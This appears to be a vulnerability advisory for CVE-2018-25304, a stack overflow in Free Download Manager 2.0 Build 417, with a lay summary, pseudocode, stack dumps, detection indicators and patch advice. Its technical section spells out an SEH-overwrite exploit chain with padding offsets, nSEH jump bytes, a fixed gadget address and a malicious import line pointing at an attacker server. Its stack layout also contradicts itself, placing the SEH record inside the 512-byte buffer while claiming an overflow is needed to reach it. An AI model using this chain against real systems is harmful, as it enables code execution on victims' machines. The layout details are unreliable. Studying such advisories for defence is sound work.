Free Download Manager is a popular program that helps people download files from the internet more efficiently. Like many download tools, it has a feature that lets you import a list of URLs from a file, so you can queue up multiple downloads at once.
Security researchers have discovered a serious flaw in how version 2.0 Build 417 handles these import files. When the program processes certain specially crafted files, it doesn't properly check how much data it's trying to store in a designated memory area. Think of it like pouring water into a glass without checking the size first — eventually it overflows.
The dangerous part is what happens when that overflow occurs. The program uses a security feature called a structured exception handler, which is basically an emergency plan for when something goes wrong. A clever attacker can craft a malicious file that hijacks this emergency plan and uses it to run their own code on your computer instead. This means they could potentially take control of your system.
Who should worry? Anyone using this specific version of Free Download Manager who might open suspicious import files. If someone tricks you into downloading and importing a malicious URL list — perhaps disguised as a legitimate file — your computer could be compromised.
The good news is there's no evidence this is being actively exploited in the wild yet. But that could change.
Here's what to do: First, update Free Download Manager to the latest version immediately — the developers have likely patched this by now. Second, never import URL lists from untrusted sources or suspicious emails. Third, if you're not actively using this feature, consider switching to a different download manager until you're sure your version is fully patched.
Want the full technical analysis? Click "Technical" above.
CVE-2018-25304 is a local buffer overflow in Free Download Manager (FDM) 2.0 Build 417 triggered through the File → Import → Import lists of downloads menu path. When FDM processes an attacker-crafted URL list file, the application's HTTP response parser copies a Location: header value into a fixed-size stack buffer without bounds checking. The overflow clobbers the Structured Exception Handler (SEH) chain on the stack, giving an attacker control of the exception handler pointer and enabling arbitrary code execution. CVSS scores this 8.4 (HIGH) under the local attack vector, reflecting the user-interaction requirement of opening a malicious import file — a realistic social-engineering primitive.
Root cause: The URL import handler copies an attacker-controlled Location: HTTP response header into a fixed-size stack buffer using an unbounded string operation, overwriting the SEH chain before any exception is handled.
Affected Component
Binary: FDM.exe — Free Download Manager 2.0 Build 417 (Win32 PE). The vulnerable code path lives in the HTTP response parsing routine invoked when FDM fetches metadata for queued import URLs. The application runs without ASLR, SafeSEH, or DEP enforcement in this build, making SEH-based exploitation straightforward. No stack cookie (/GS) protects the vulnerable frame.
Root Cause Analysis
During import list processing, FDM opens each URL entry and performs an HTTP HEAD or GET request, then parses the response headers to extract the final resolved location. The function responsible — reconstructed here as ParseHttpResponseHeaders — reads the raw response into a heap buffer and then extracts header fields line-by-line onto the stack.
// Reconstructed pseudocode: ParseHttpResponseHeaders()
// Module: FDM.exe | Approximate VA: 0x00456B20
//
// Called from: ImportUrlList -> ProcessQueuedUrl -> FetchUrlMetadata
// -> ParseHttpResponseHeaders
#define HEADER_BUF_SIZE 512 // fixed, stack-allocated
int ParseHttpResponseHeaders(HTTP_CONTEXT *ctx, char *raw_response) {
char location_buf[HEADER_BUF_SIZE]; // [esp+0x14] -- SEH frame at [esp+0x208]
char *line;
char *header_val;
line = strtok(raw_response, "\r\n");
while (line != NULL) {
if (strncmp(line, "Location:", 9) == 0) {
header_val = line + 9;
while (*header_val == ' ') header_val++;
// BUG: no bounds check — header_val length is attacker-controlled.
// Destination buffer is 512 bytes; Location value can be >>512.
// SEH chain at [esp+0x208] is 0x1F4 bytes past location_buf start.
strcpy(location_buf, header_val); // <-- OVERFLOW HERE
ctx->resolved_location = _strdup(location_buf);
}
line = strtok(NULL, "\r\n");
}
return 0;
}
The SEH registration record sits at [esp+0x208] — 0x1F4 (500) bytes past the start of location_buf. With a Location: value of ≥513 bytes, the overflow begins overwriting saved registers and, at byte offset 500 from the buffer base, reaches the _EXCEPTION_REGISTRATION_RECORD structure:
STACK STATE BEFORE OVERFLOW (thread stack, grows downward):
esp+0x008 HTTP_CONTEXT *ctx = 0x00A3F210
esp+0x014 char location_buf[512] = [uninitialised, 0x200 bytes]
esp+0x214 saved EBP = 0x0019FF44
esp+0x218 return address = 0x00456C31 (FDM.exe+0x6C31)
esp+0x208 SEH.Next = 0x0019FF88 (legitimate chain)
esp+0x20C SEH.Handler = 0x00458A10 (FDM default handler)
esp+0x210 [next SEH record ...]
STACK STATE AFTER OVERFLOW (Location: value = 0x250 bytes):
esp+0x014 location_buf = "AAAA...AAAA" (512 bytes of 0x41)
... [saved regs] = 0x41414141
esp+0x208 SEH.Next = 0x41414141 <-- CORRUPTED (nSEH, controls hop)
esp+0x20C SEH.Handler = 0x42424242 <-- CORRUPTED (attacker controls EIP)
esp+0x210 0x43434343 <-- arbitrary continuation bytes
TRIGGER: strcpy writes past location_buf end.
EFFECT: Any subsequent exception (access violation, stack fault) dispatches
to SEH.Handler = attacker value before any legitimate handler runs.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker crafts a .url list file containing a single entry pointing to an
attacker-controlled HTTP server (or local Python listener).
2. Victim opens FDM 2.0 Build 417, navigates to
File > Import > Import lists of downloads, selects the malicious file.
3. FDM resolves each URL entry; attacker's server responds with:
HTTP/1.1 301 Moved Permanently
Location: [9 bytes header] + [500 bytes padding 'A'] +
[4 bytes nSEH 'B'x4] + [4 bytes SEH handler ptr] +
[NOP sled + shellcode]
4. ParseHttpResponseHeaders() calls strcpy(location_buf, header_val).
strcpy runs past the 512-byte stack buffer without stopping.
5. At offset +500 from buffer base:
SEH.Next overwritten with \xeb\x06\x90\x90 (short jmp +6, skip handler ptr)
SEH.Handler overwritten with POP/POP/RET gadget (no ASLR: fixed VA in FDM.exe)
6. strcpy() itself or the subsequent ctx->resolved_location = _strdup() dereference
triggers an access violation on the corrupted stack.
7. Windows SEH dispatch walks the chain, finds attacker's Handler pointer,
transfers control to POP/POP/RET gadget inside FDM.exe address space.
8. POP/POP/RET lands execution at nSEH field (\xeb\x06): short jmp over SEH.Handler
into NOP sled at offset +508 from buffer base.
9. NOP sled slides into shellcode embedded in the Location: value.
Shellcode executes at the privilege level of the FDM process (user context).
GADGET USED (no ASLR, no SafeSEH):
POP EDI / POP ESI / RETN @ 0x00462F7A (within FDM.exe .text)
A minimal proof-of-concept server to reproduce the crash:
The import list file (poc.txt) contains a single line: http://<attacker-ip>:8080/x.
Patch Analysis
The correct remediation replaces the unbounded strcpy with a length-checked copy that enforces the destination buffer size. A secondary fix validates the Location: header length before any copy operation.
The more robust approach — and what any modern rewrite would use — is to skip the intermediate stack buffer entirely and _strdup directly from header_val after the length check, eliminating the fixed-size stack allocation as a risk surface altogether.
Detection and Indicators
Because this is a local/social-engineering vector with no network propagation, detection focuses on process behaviour and import file content.
DETECTION INDICATORS:
1. Process crash / WER report:
Faulting module: FDM.exe
Exception code: 0xC0000005 (ACCESS_VIOLATION)
Offset: near 0x00456B20 + 0x1F0 (inside ParseHttpResponseHeaders)
2. Import file heuristics:
- .txt/.url list file where any line resolves via HTTP 3xx redirect
- Redirected Location: header value exceeding 512 bytes
- Location: value containing sequences of repeated bytes (padding pattern)
3. Network IOC (attacker-controlled server scenario):
- HTTP response with Location: header > 512 bytes in response to FDM UA
- User-Agent: "FDM 2.0" in outbound GET/HEAD requests to unknown hosts
4. SIEM / EDR rule:
- FDM.exe spawning unexpected child processes (cmd.exe, powershell.exe)
following File > Import action
- FDM.exe writing to %TEMP% or %APPDATA% outside its normal profile paths
Remediation
Immediate: Upgrade to a current release of Free Download Manager. Build 417 is over a decade old and lacks all modern mitigations.
If upgrading is not possible:
Disable the Import lists of downloads feature via application settings or by restricting file-type associations for .url / import list formats.
Deploy an application-layer firewall rule blocking FDM.exe from connecting to arbitrary internet hosts during the import workflow.
Apply DEP and ASLR enforcement externally via EMET (legacy) or Windows Exploit Protection (Set-ProcessMitigation -Name FDM.exe -Enable DEP,ForceRelocateImages,EnableRopStackPivot) — this breaks the static gadget address and neuters the SEH overwrite primitive.
For developers: Any parser reading HTTP headers into fixed stack buffers must enforce sizeof(dest) - 1 as a hard upper bound before the copy. Prefer dynamic allocation via _strdup(header_val) after validating the length. Enable /GS, /SAFESEH, and /DYNAMICBASE at minimum; prefer linking against a stack-protector-enabled runtime. SafeSEH alone would have prevented this specific gadget chain by rejecting non-registered handler addresses.